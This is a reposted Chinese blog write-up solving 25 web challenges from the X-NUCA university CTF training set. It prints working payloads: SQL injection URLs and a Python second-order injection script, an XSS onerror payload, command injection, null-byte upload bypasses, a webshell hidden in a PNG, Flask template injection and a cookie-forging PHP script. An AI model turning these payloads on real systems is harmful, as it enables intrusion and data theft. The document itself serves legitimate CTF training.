码迷,mamicode.com
首页 > 其他好文 > 详细

X-NUCA全国高校网安联赛7月训练题解

时间:2016-07-30 22:43:32      阅读:2132      评论:0      收藏:0      [点我收藏+]

标签:x-nuca训练题题解

题目1:

很简单,看源码即可得到flag。

A HIDDEN FLAG: FLAG{th!5!5n0tth3fl@g}


题目2:

post 提交q1=2016&q2=lol&q3=22&success=true即可

flag{W3ll_d0n3}            


题目3:

技术分享

这里base64decode是Normal 改成Admin的base64编码提交

flag{C00ki3_n0m_n0m_n0m}     


题目4:

show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET[‘foo‘]);
if(is_array($a)){
    is_numeric(@$a["bar1"])?die("nope"):NULL;
    if(@$a["bar1"]){
        ($a["bar1"]>2016)?$v1=1:NULL;
    }
    if(is_array(@$a["bar2"])){
        if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
        $pos = array_search("nudt", $a["a2"]);
        $pos===false?die("nope"):NULL;
        foreach($a["bar2"] as $key=>$val){
            $val==="nudt"?die("nope"):NULL;
        }
        $v2=1;
    }
}
$c=@$_GET[‘cat‘];
$d=@$_GET[‘dog‘];
if(@$c[1]){
    if(!strcmp($c[1],$d) && $c[1]!==$d){
        eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
        strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
    }
}
if($v1 && $v2 && $v3){
    include "flag.php";
    echo $flag;
}
?>

可以看出foo是一个jason对象,并且要求里边元素第一个比2016大而且不能是数字,  这里用到了PHP弱类型的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比。 bar1为2017a即可.bar2是一个数组,长度是5,里边第一个元素是数组


array和string进行strcmp比较的时候会返回一个null,%00可以截断eregi。cat[0]=00code2016&cat[1][]=1111&dog=%00

所以最后提交foo={%22bar1%22:%222017e%22,%22bar2%22:[[1],1,2,3,0]}&cat[0]=00htctf2016&cat[1][]=1111&dog=%00  

flag{php_i5_n0t_b4d}


题目5:

随便点击另外一个人的密码,得到:

hi,my name is bob ,my password is flag{skjdflksajdfjaklsjfdlkjsafjk}.

没卵用,看url:

http://218.76.35.75:20115/index.php?page=b74d94c647115ba40b3acd8e12b4e122

b74d94c647115ba40b3acd8e12b4e122 md5解密得到: bob317

所以猜测应该是名字加上三个数字,burp抓包:

技术分享



技术分享



技术分享




题目6:

题目中说:而且题中给了提示,http头注入,要么是xff或者refer或者user-Agent

Wecome our official sites:heetian.com/heetian.php

Waist long hair, teenager marry me these days.

技术分享

看来是referrer头注入,看了别人的wp,sqlmap直接跑:

Sqlmap默认不测试  http头的一些注入。。。

--level 等于或者大于3的时候,就会测试Referer了。。。

直接加个参数好了,看能不能跑出来

技术分享


看来还真可以 ,继续测试,加上 --dbs 看都有那些数据库:


技术分享


不出意外的话flag应该就在ctf里边,

果然: flag: Y0ugetT82f00000laev



题目7:

上传php文件,这也不多说额了,就是简单的%00截断



题目8:

就是运行js,然后flag的url就出来了,结果在页面的cookie里边。


题目9:

parse_str($_GET[‘heetian‘]);

主要是这个函数,提交heetian=he=abcd ,flag:

C00d1uckf0rY0uuu


题目10:

一个XSS,输入#‘ onerror=alert(document.domain)

<img src=‘#‘ onerror=alert(document.domain) />flag:D0Gum6Ntd0M11n</form>



题目11:

由提示得出访问http://218.76.35.75:20126/index.php?page=/flag

flag 不在这里<!-- flag: 62a72cb2f3d5e7fc0284da9f21e66c9f.php--></body>


题目12:

和前边一道题很像,burp爆破管理员的id,改下cookie就行



题目13:

sql注入

http://218.76.35.75:20101/?name=%27%20union%20select%201,2,3%20--%20-

不过貌似过滤了information_schama.tables什么的,直接猜:flag表flag字段

http://218.76.35.75:20101/?name=%27%20union%20select%201,2,flag%20%20from%20flag--%20-

flag= thisisforunionsqlinjection


题目14:

图片上传php一句话木马

copy 1.png/b+1.php/a 2.png


题目15:

127.0.0.1 | ls

linux下的连接符有多个。如&&,||,;,| 我们需要都测试后面命令为简单的ls

flag:dirpwnitdoyouknow


题目16:

1、游戏是个坑,只有玩到1000000分时,会在cookie写入("urlkey","webqwer"[1]+"100.js",864E5),所以e100.js是提示文件 

2、正确思路是分析游戏tetris.js,这个js混淆过,所以先美化http://tool.lu/js/,分析得出e100.js

3、e100.js是一段JSFuck编码后的JS脚本

4、本地运行这段js脚本,弹出flag{oT0yTrjU0xhjhj2YTcT8jljMWpzS9tDk}

技术分享

这个网站可以  http://tool.lu/js/




题目17:

更改xff还有referrer头信息,md5解密得到密码cafe



题目18:

主要考察:

KindEditor上传解析漏洞、列目录、内容漏洞

1.1.http://netknight.in/67cms/kindeditor/php/file_manager_json.php?path=/ 爆出flag路径
2. //path=/,爆出绝对路径D:AppServwww67cmskindeditorphpfile_manager_json.php
3. 2.http://netknight.in/67cms/kindeditor/php/file_manager_json.php?path=AppServ/www/67cms/
4. //根据爆出的绝对路径,修改path的值为AppServ/www/67cms/
5. 这时将遍历d:/AppServ/www/67cms/下的所有文件和文件名


题目19:

用扫目录的工具,发现存在.git 文件夹。

https://github.com/kost/dvcs-ripper工具,获得题目的源代码。

查找源码后,发现没有flag的位置,使用git log 发现。有2次commit记录。

这个时候,使用git 文件比对,发现hack.php的第一次提交里,包含flag。



ps: 以后的各题都是转载别人的wp


题目20:


查看页面源码,发现,flask pytho test 猜测考察.flask python相关的东西,前阵子比较热门的模版注入。

但是不知道源码。假设python设置不当,可能为debug=true的形式启动应用。

可以尝试提交错误的字符串,导致服务器返回报错

提交data=xx{{} 发现返回错误页面。

错误页面下。有app.py的源码。
 

  技术分享  
 

发现敏感字符,猜测模版注入,只需要执行

get_user_file(‘473bfa63bfeb1e673d6d151a799af923.py’)可以读取该文件

构造如下提交,即可。

http://218.76.35.75:20102/?data=sleep{{get_user_file(%27473bfa63bfeb1e673d6d151a799af923.py%27)}}

上述语法的构造为 Python的模版执行中的语法规则。




题目21:


提示为自加密题


 

访问页面后,非常明显的image=heihei.jpg 可猜测为文件读取,返回base64编码的文件内容,


 

我们构造http://218.76.35.75:20106/index.php?image=index.php并解码。得到index.php的源码内容,如下所示


 

  技术分享  
 


 

源码里有config关键词,并被替换了_ 。


 

这时候,都没出现自加密的地方。查看cookie 也没有,可能存在其他技巧点。


 

提出扫描器,发现存在 .idea文件夹。.idea文件夹是phpstorm工具编写Php代码时生成的文件夹。访问.idea/workspace.xml 发现如下


 

  技术分享  
 


 

利用index.php?view=function_crypt.php 读取该文件。并解码,得到加密函数源码。


 

  技术分享  
 


 

我们为了获取flag 。需要cookie 为正确的加密后的system用户的cookie值.可以在访问function_crypt.php文件后,可以得到guest用户的cookie值。下面就是解密函数的代码了提供如下解密函数。


 

最终写出poc


  function ss($txt,$m){
  for($i=0;$i<strlen($m);$i++){
        $tmp .= chr(ord($m[$i])+10);
  }
   $m=$tmp;
   $tmp=‘‘;
   $txt=base64_decode($txt);
   $rnd = substr($txt,0,4);
   $txt = substr($txt,4);
   for($i=0;$i<strlen($txt);$i++){
     $key .= $txt[$i] ^ $m[$i];
  }
   $s=‘0123456789abcdef‘;
   $txt1=‘system‘;
  for($i=0;$i<strlen($txt1);$i++){
    $tmp .= chr(ord($txt1[$i])+10);
  }
  $txt1=$tmp;
  $tmp=‘‘;
  for($i=0;$i<16;$i++){
     $tmp = $key.$s[$i];
     for($ii=0;$ii<strlen($txt1);$ii++){
       $txt2 .= $txt1[$ii] ^ $tmp[$ii];
     }
     file_put_contents(‘1.txt‘,base64_encode($rnd.$txt2)."\r\n",FILE_APPEND);
     $txt2=‘‘;
   }
}

ss(‘eldUVRdOWRhI‘,‘guest‘); // 设置获取的guest用户的cookie值。


这个生成了16个加密的密文,用burp加载后,跑一遍,即可得到flag 。


题目22:

提示help.php,并且index.php 页面有webshellpass ,猜测是一个后门需要正确的密码登录。 同时,提示为Php是一个伟大的语言,可能考察php的特性。并且有页面中的提示


 

  技术分享  
 


 

这里就肯定不是爆破的题目了。需要考脑洞的题目了,还有一点点的知识涉猎是否广泛的情况了。


 

  技术分享  
 


 

这时候,都没出现自加密的地方。查看cookie 也没有,可能存在其他技巧点。


 

  技术分享  
 


 

这个题目的缘由就是从这里来的。Php的全局函数,导致绕过验证逻辑。


 

当提交 shell[pass]=asasdfasdfasdf&shell[login]=false时,发现页面还是报errorpassword 。


 

猜测有session 。大概逻辑。可能如下:


  If($_SESSION[??]){{
  Echo $flag;
}else {
  If($password=$pass){
     $_SESSION[???]=$pass;
    Echo $lag;
   }
}

Webshell一般都比较简单,可能就是当上述的???设置admin 或者login


加上上述有说php的全局变量,我们可以提交如下


shell[pass]=asdfasdf&shell[_SESSION][login]=asd&shell[login]=false


即可得到flag.



题目23:

发现存在robots.txt 文件


 

  技术分享  
 



访问该地址。得到upload.zip

Upload.zip为index.php


查看Index.php后。


  技术分享  
 


发现对大多数的字符进行了过滤。该过滤方式为黑名单判断,我们只需要找到程序中,为过滤完全的字符,进行payload编写即可。


查找wooyun或者其他地方的资料库,可以知道.%0a 同样可以用来做空格的代替。


那么我们只需要构造如下参数提交


username=admind‘%a0union%a0select%a0‘4124bc0a9335c27f086f24ba207a4912‘%a0from%a0admin%a0where%a0‘1‘=‘1&password=aa

即可得到flag






题目24:


1.文件包含(需要开一下脑洞,猜一猜文件名)


 

根据提示,可以得到一个目录:


 

http://218.76.35.75:20116/flagishere/

2.访问这个目录,是一个登录界面,这道题目考的是注入,只不过考点是sql注入的绕过。后端代码中检测了并且拦截了各种sql的关键字。


但是,可以使用“||”来代替关键词 OR


用户名和密码输入admin‘||‘1‘=‘1即可绕过检测登录,获得flag





题目25:

注:apache、mysql  


 

1、.index.php.swp源码泄露


 

2、注入点id是被is_numeric过滤后,插入到vote表里的,可以用十六进制或者二进制绕过is_numeric,把注入查询语句插入到vote表里,然后又从vote表里取出,形成二次注入


 

3、猜解t_flag表,使用GROUP_CONCAT(flag)取flag


 

解题代码:


 

 

#!/usr/bin/env python  

 

import requests  

 

import binascii  

 

import sys  

 

def hack(inject):

 

#print inject;

 

vul={‘id‘:inject,‘vote‘:3,‘submit‘:1}

 

print vul

 

req=requests.post(‘http://218.76.35.74:65080/index.php‘,data=vul)  

 

print req.content  

 

if __name__=="__main__":  

 

s = ‘-1 union all (SELECT GROUP_CONCAT(flag) from t_flag)‘  

 

hack("0x" + binascii.hexlify(s))

 






本文出自 “TheAuroraSec” 博客,请务必保留此出处http://aurorasec.blog.51cto.com/9752323/1832173

X-NUCA全国高校网安联赛7月训练题解

标签:x-nuca训练题题解

原文地址:http://aurorasec.blog.51cto.com/9752323/1832173

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!